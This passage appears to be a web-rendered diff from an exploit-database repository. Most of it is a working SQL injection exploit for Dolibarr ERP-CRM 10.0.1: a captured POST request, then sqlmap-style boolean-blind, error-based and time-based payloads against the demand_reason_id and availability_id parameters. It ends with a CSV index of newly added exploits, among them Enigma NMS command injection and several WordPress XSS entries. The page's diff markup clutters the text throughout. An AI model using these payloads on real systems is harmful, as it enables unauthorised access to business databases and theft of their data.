Firefox/60.0
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||||
|
Accept-Language: en-US,en;q=0.5
|
||||||
|
Accept-Encoding: gzip, deflate
|
||||||
|
Referer:
|
||||||
|
http://localhost/dolibarr-10.0.1/htdocs/comm/propal/card.php?action=create&leftmenu=propals
|
||||||
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
Content-Length: 471
|
||||||
|
Cookie:
|
||||||
|
DOLSESSID_60ec554596b730ca6f03816d85cd400a=aaf3a3b284478257b59be81cf1a70fc3
|
||||||
|
Connection: close
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
|
||||||
|
token=%242y%2410%24L49yBo3dzNwsREPqDxRH8uR7HJ4eaM9ULG2yw1XgypioE2XZaw5lK&action=add&ref_client=&socid=140&re=09%2F09%2F2019&reday=09&remonth=09&reyear=2019&duree_validite=15&cond_reglement_id=0&mode_reglement_id=&demand_reason_id=[SQLi]&availability_id=[SQLi]&shipping_method_id=-1&date_livraison=&date_livraisonday=&date_livraisonmonth=&date_livraisonyear=&projectid=0&incoterm_id=0&location_incoterms=&model=azur&multicurrency_code=EUR¬e_public=¬e_private=&createmode=empty
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Parameter: demand_reason_id (POST)
|
||||||
|
Type: boolean-based blind
|
||||||
|
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
|
||||||
|
GROUP BY clause
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$L49yBo3dzNwsREPqDxRH8uR7HJ4eaM9ULG2yw1XgypioE2XZaw5lK&action=add&ref_client=&socid=140&re=09/09/2019&reday=09&remonth=09&reyear=2019&duree_validite=15&cond_reglement_id=0&mode_reglement_id=&demand_reason_id=0
|
||||||
|
RLIKE (SELECT (CASE WHEN (8405=8405) THEN 0 ELSE 0x28
|
||||||
|
END))&availability_id=0&shipping_method_id=-1&date_livraison=&date_livraisonday=&date_livraisonmonth=&date_livraisonyear=&projectid=0&incoterm_id=0&location_incoterms=&model=azur&multicurrency_code=EUR¬e_public=¬e_private=&createmode=empty
|
||||||
|
|
||||||
|
Type: error-based
|
||||||
|
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
|
||||||
|
BY clause (FLOOR)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$L49yBo3dzNwsREPqDxRH8uR7HJ4eaM9ULG2yw1XgypioE2XZaw5lK&action=add&ref_client=&socid=140&re=09/09/2019&reday=09&remonth=09&reyear=2019&duree_validite=15&cond_reglement_id=0&mode_reglement_id=&demand_reason_id=0
|
||||||
|
OR (SELECT 8076 FROM(SELECT COUNT(*),CONCAT(0x716a626b71,(SELECT
|
||||||
|
(ELT(8076=8076,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
|
||||||
|
INFORMATION_SCHEMA.PLUGINS GROUP BY
|
||||||
|
x)a)&availability_id=0&shipping_method_id=-1&date_livraison=&date_livraisonday=&date_livraisonmonth=&date_livraisonyear=&projectid=0&incoterm_id=0&location_incoterms=&model=azur&multicurrency_code=EUR¬e_public=¬e_private=&createmode=empty
|
||||||
|
|
||||||
|
.
|
||||||
|
.
|
||||||
|
|
||||||
|
Parameter: availability_id (POST)
|
||||||
|
Type: boolean-based blind
|
||||||
|
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
|
||||||
|
GROUP BY clause
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$L49yBo3dzNwsREPqDxRH8uR7HJ4eaM9ULG2yw1XgypioE2XZaw5lK&action=add&ref_client=&socid=140&re=09/09/2019&reday=09&remonth=09&reyear=2019&duree_validite=15&cond_reglement_id=0&mode_reglement_id=&demand_reason_id=0&availability_id=0
|
||||||
|
RLIKE (SELECT (CASE WHEN (6909=6909) THEN 0 ELSE 0x28
|
||||||
|
END))&shipping_method_id=-1&date_livraison=&date_livraisonday=&date_livraisonmonth=&date_livraisonyear=&projectid=0&incoterm_id=0&location_incoterms=&model=azur&multicurrency_code=EUR¬e_public=¬e_private=&createmode=empty
|
||||||
|
|
||||||
|
Type: error-based
|
||||||
|
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
|
||||||
|
BY clause (FLOOR)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$L49yBo3dzNwsREPqDxRH8uR7HJ4eaM9ULG2yw1XgypioE2XZaw5lK&action=add&ref_client=&socid=140&re=09/09/2019&reday=09&remonth=09&reyear=2019&duree_validite=15&cond_reglement_id=0&mode_reglement_id=&demand_reason_id=0&availability_id=0
|
||||||
|
OR (SELECT 3789 FROM(SELECT COUNT(*),CONCAT(0x716a626b71,(SELECT
|
||||||
|
(ELT(3789=3789,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM
|
||||||
|
INFORMATION_SCHEMA.PLUGINS GROUP BY
|
||||||
|
x)a)&shipping_method_id=-1&date_livraison=&date_livraisonday=&date_livraisonmonth=&date_livraisonyear=&projectid=0&incoterm_id=0&location_incoterms=&model=azur&multicurrency_code=EUR¬e_public=¬e_private=&createmode=empty
|
||||||
|
|
||||||
|
Type: time-based blind
|
||||||
|
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
|
||||||
|
Payload:
|
||||||
|
token=$2y$10$L49yBo3dzNwsREPqDxRH8uR7HJ4eaM9ULG2yw1XgypioE2XZaw5lK&action=add&ref_client=&socid=140&re=09/09/2019&reday=09&remonth=09&reyear=2019&duree_validite=15&cond_reglement_id=0&mode_reglement_id=&demand_reason_id=0&availability_id=0
|
||||||
|
AND (SELECT 9904 FROM
|
||||||
|
(SELECT(SLEEP(5)))ZKPW)&shipping_method_id=-1&date_livraison=&date_livraisonday=&date_livraisonmonth=&date_livraisonyear=&projectid=0&incoterm_id=0&location_incoterms=&model=azur&multicurrency_code=EUR¬e_public=¬e_private=&createmode=empty
|
||||||
|
|
@ -41708,3 +41708,12 @@ id,file,description,date,author,type,platform,port
|
||||||
47350,exploits/php/webapps/47350.txt,"WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting",2019-09-04,MgThuraMoeMyint,webapps,php,80
|
47350,exploits/php/webapps/47350.txt,"WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting",2019-09-04,MgThuraMoeMyint,webapps,php,80
|
||||||
47351,exploits/hardware/webapps/47351.txt,"DASAN Zhone ZNID GPON 2426A EU - Multiple Cross-Site Scripting",2019-09-04,"Adam Ziaja",webapps,hardware,80
|
47351,exploits/hardware/webapps/47351.txt,"DASAN Zhone ZNID GPON 2426A EU - Multiple Cross-Site Scripting",2019-09-04,"Adam Ziaja",webapps,hardware,80
|
||||||
47356,exploits/php/webapps/47356.txt,"Inventory Webapp - 'itemquery' SQL injection",2019-09-06,"mohammad zaheri",webapps,php,
|
47356,exploits/php/webapps/47356.txt,"Inventory Webapp - 'itemquery' SQL injection",2019-09-06,"mohammad zaheri",webapps,php,
|
||||||
|
47361,exploits/php/webapps/47361.pl,"WordPress 5.2.3 - Cross-Site Host Modification",2019-09-09,"Todor Donev",webapps,php,
|
||||||
|
47362,exploits/php/webapps/47362.txt,"Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection",2019-09-09,"Metin Yunus Kandemir",webapps,php,
|
||||||
|
47363,exploits/multiple/webapps/47363.html,"Enigma NMS 65.0.0 - Cross-Site Request Forgery",2019-09-09,mark,webapps,multiple,
|
||||||
|
47364,exploits/multiple/webapps/47364.py,"Enigma NMS 65.0.0 - OS Command Injection",2019-09-09,mark,webapps,multiple,
|
||||||
|
47365,exploits/multiple/webapps/47365.txt,"Enigma NMS 65.0.0 - SQL Injection",2019-09-09,mark,webapps,multiple,
|
||||||
|
47366,exploits/php/webapps/47366.txt,"Online Appointment - SQL Injection",2019-09-09,"mohammad zaheri",webapps,php,
|
||||||
|
47368,exploits/cgi/webapps/47368.sh,"Rifatron Intelligent Digital Security System - 'animate.cgi' Stream Disclosure",2019-09-09,LiquidWorm,webapps,cgi,
|
||||||
|
47369,exploits/php/webapps/47369.txt,"WordPress Plugin Sell Downloads 1.0.86 - Cross-Site Scripting",2019-09-09,"Mr Winst0n",webapps,php,
|
||||||
|
47370,exploits/php/webapps/47370.txt,"Dolibarr ERP-CRM 10.0.1 - SQL Injection",2019-09-09,"Metin Yunus Kandemir",webapps,php,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue